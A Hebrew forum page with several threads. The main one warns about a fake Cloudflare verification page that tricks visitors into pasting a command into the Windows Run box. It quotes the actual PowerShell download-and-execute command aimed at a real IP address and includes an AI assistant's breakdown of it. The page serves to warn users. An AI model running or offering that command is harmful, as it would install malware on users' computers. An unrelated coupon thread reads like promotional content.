וירוס באתר?

ליבי · 2013-04-18T18:40:58+00:00

כשאני נכנסת לאתר של תוכנה מסוימת (יוניק) מופיעות לי ההודעות הבאות: זה אומר שהאתר נגוע בוירוס והגלישה אסורה בו? או שאם אני לא מורידה קבצים זה לא מזיק?

פורום איש את רעהו • מידע ועזרה הדדית // עודכן לאחרונה 18/3/26

2 507

מידע שימושי זהירות! וירוס בתחפושת!

משה פפירוב //

17/3/26

ניסיתי להכנס לאתר של הרב אפרתי - נותן הכשרות
לאחר לחיצה על סימון - אתה לא רובוט...

הופתעתי מאוד לראות את זה:

נראה חשוד!

מאוד חשוד!!!

‫Gemini אמר

אזהרה: מדובר בהונאה ובתוכנה זדונית (Malware)

התמונה שצירפת מציגה דף מזויף שמתחזה לשירות ההגנה Cloudflare, אך למעשה מדובר בשיטה להרצת קוד זדוני על המחשב שלך.

למה זה מסוכן?

ההוראות בתמונה מבקשות ממך לבצע רצף פעולות חריג מאוד:

צירוף המקשים Win + R: פותח את חלון ה-"הפעלה" (Run) של ווינדוס, שמשמש להרצת פקודות מערכת.
צירוף המקשים Ctrl + V: מדביק פקודה שהאתר העתיק ללוח הגזירים (Clipboard) שלך באופן אוטומטי ברגע שנכנסת לדף או לחצת על כפתור.
לחיצה על OK: מריצה את הפקודה המודבקת.

מה קורה בפועל?ברגע שתלחץ על OK, המחשב יריץ פקודה (בדרך כלל פקודת PowerShell) שמורידה ומתקינה וירוס, תוכנת כופר או תוכנה לגניבת סיסמאות ופרטי בנק. אף שירות אימות לגיטימי (כמו Cloudflare) לא יבקש ממך להריץ פקודות ידניות בחלון ה-Run של המערכת.

מה עליך לעשות?

אל תבצע את ההוראות: אל תקיש על שום שילוב מקשים ואל תדביק דבר.
סגור את הלשונית מיד: צא מהאתר הזה ואל תחזור אליו.
סריקת וירוסים: מומלץ להריץ סריקה מלאה של האנטי-וירוס במחשב שלך (כמו Windows Defender או תוכנה מוכרת אחרת) ליתר ביטחון.
ניקוי היסטוריה: כדאי לנקות את הקבצים הזמניים והקוקיז בדפדפן.

בדקתי בלוח מה הפקודה שהוא רצה שאני אריץ במחשב....
זה הפקודה: powershell -c iex(irm 158.94.209.33 -UseBasicParsing) - סכנה! לא להריץ בשום אופן!!!!

תקראו טוב מה גיימני כותב שזה עושה למחשב שלכם...

זהירות! מדובר בתוכנה זדונית (Malware) ודאית.

הפקודה שהעתקת היא הוכחה חותכת לכך שמדובר בניסיון פריצה. בוא נפרק את הפקודה כדי שתבין בדיוק מה היא מנסה לעשות למחשב שלך:

powershell: מפעיל את ממשק הפקודות המתקדם של ווינדוס. לממשק זה יש הרשאות עמוקות לשינוי הגדרות מערכת.
iex (Invoke-Expression): פקודה שאומרת למחשב: "כל מה שתקבל בהמשך – תריץ אותו כקוד עכשיו".
irm (Invoke-RestMethod): פקודה להורדת תוכן מהאינטרנט.
158.94.209.33: זוהי כתובת IP של שרת מרוחק (שאינו קשור ל-Cloudflare). הפקודה מנסה למשוך קובץ "תסריט" (Script) מהשרת הזה.
-UseBasicParsing: הוראה לדפדפן הפנימי להתעלם מבדיקות תאימות ולהריץ את הקוד במהירות.

מה המשמעות?

ברגע שהיית לוחץ על OK, המחשב שלך היה פונה לכתובת ה-IP הזו, מוריד קוד זדוני (כמו סוס טרויאני או תוכנת כופר) ומריץ אותו מיד ברקע, בלי שתראה חלון נוסף או אזהרה.

צעדים דחופים אם כבר הרצת את הפקודה:

ניתוק מהאינטרנט: כבה את ה-Wi-Fi או נתק את כבל הרשת מיד כדי למנוע מהווירוס לשלוח מידע החוצה או להוריד רכיבים נוספים.
סריקה במצב בטוח: הפעל את המחשב ב-"מצב בטוח" (Safe Mode) והרץ סריקה מלאה של אנטי-וירוס מעודכן.
שינוי סיסמאות: ממכשיר אחר (טלפון או מחשב נקי), שנה סיסמאות לחשבונות רגישים (מייל, בנק, רשתות חברתיות).

אוסיף שבדקתי את הכתובת שהפקודה פונה אליה
באתר בדיקת כתובות אינטרנט - האם הן וירוס
הנה הקישור לבדיקה: https://www.virustotal.com/gui/url/bd5456fb856d9b4d0d4cea1c68edf7e1793e6a72fb9ac037f4f05d1bba65c18c
מוזמנים לראות את התוצאה....

מסקנה:

זהירות!!!

Reactions: יעקב ויצמן, בלת"ק (:, תשעים ותשע ועוד 24 משתמשים27 //

20 תגובות

לכל התגובות

תגובה אחרונה 18/3/26

5

5566brs

ניתוח מלא של הוירוס קיים כאן נכון לעכשיו הוירוס עדיין פעיל בחלק מהכתובות המופיעות שם, אבל חלק...

פורום פורום מחשבים // עודכן לאחרונה 30/1/26

291

N

חומרה פריצה?

net13 //

29/1/26

נכנסתי לאתר הזה:

תוכנת תיווך מקצועית - תוכנה למתווכים ומאגר דירות - נדל"ן One

העסקה הבאה מתחילה כאן: תוכנה למשרדי תיווך, מאגר הנכסים הגדול במדינה במחיר מנצח. הירשמו עכשיו ותיהנו מחודש ניסיון חינם ללא עלות וללא התחייבות

nadlanone.co.il

הוא ביקש שאריץ פקודה כדי לזהות שהחיבור מאובטח:
צילום מסך 2026-01-29 020727.png

עשיתי מה שכתוב וההרצה היתה כזו: צילום מסך 2026-01-29 021435.png

ולחצתי אישור.
אחרי כמה דקות קלטתי שאולי זה וירוס או תוכנה זדונית וכו'. ניתקתי את האינטרנט. הרצתי הרצה מהירה של האנטי וירוס של מייקרוסופט. ואחר כך הרצתי את האנטי וירוס של מייקרוספט של הרבע שעה שנקראת סקירה לא מכוונת, שמכבה גם ומדליקה את המחשב. בין הסריקה הראשונה לשנייה כן הפעלתי שוב את הרשת.
מה זה אומר כרגע?

13 תגובות

לכל התגובות

תגובה אחרונה 30/1/26

Y

yossilang

לא בהכרח, אלא אם הם חושבים שלכבודו סכום כסף בן שבע ספרות ומעלה....

פורום איש את רעהו • מידע ועזרה הדדית // עודכן לאחרונה 10/9/25

90

נ

מידע שימושי קוד קופון של 400 ש"ח לטמו למשתמשים חדשים — מישהו כבר ניסה?

ניקולה //

2/7/25

היי כולם,
רציתי לשתף משהו שאולי מעניין אתכם, במיוחד אם אתם עוד לא ניסיתם להזמין בטמו.
מצאתי שהם עכשיו נותנים קוד קופון שמוריד 400 ש"ח בהזמנה ראשונה! כן, 400 ש"ח – לא מעט, במיוחד כשהמחירים שלהם די זולים מלכתחילה.

אני לא בטוח אם זה תקף לכולם או שיש מגבלות מסוימות, אבל הקוד תקף רק למשתמשים חדשים באתר.
זה אומר שאם אתם שוקלים להזמין, זו הזדמנות ממש טובה לבדוק בלי להוציא יותר מדי כסף.

אני כבר עשיתי הזמנה קטנה לפני כמה שבועות בלי הקופון, ועכשיו כשאני רואה את ההנחה הזו, ממש התחשק לנסות להזמין עוד כמה דברים עם הקוד.

אם מישהו כאן כבר ניצל את הקופון, איך היה? כדאי לשים לב למשהו מיוחד? האם יש מוצרים שבאמת משתלם להזמין עם ההנחה?

מצד שני, תמיד צריך לזכור שמדובר במשלוחים מארצות אחרות, ולעיתים המוצרים לא באיכות הכי גבוהה, אז לא כדאי להתלהב יותר מדי, אבל זה בהחלט שווה לנסות.

בקיצור, אם אתם חדשים בטמו – חפשו את קוד הקופון לפני ההזמנה, זה יכול לחסוך לא מעט.

אשמח לשמוע חוות דעת של אחרים!

3 תגובות

לכל התגובות

תגובה אחרונה 10/9/25

ס

סגול עגול

יש קופון שזמין באתר ?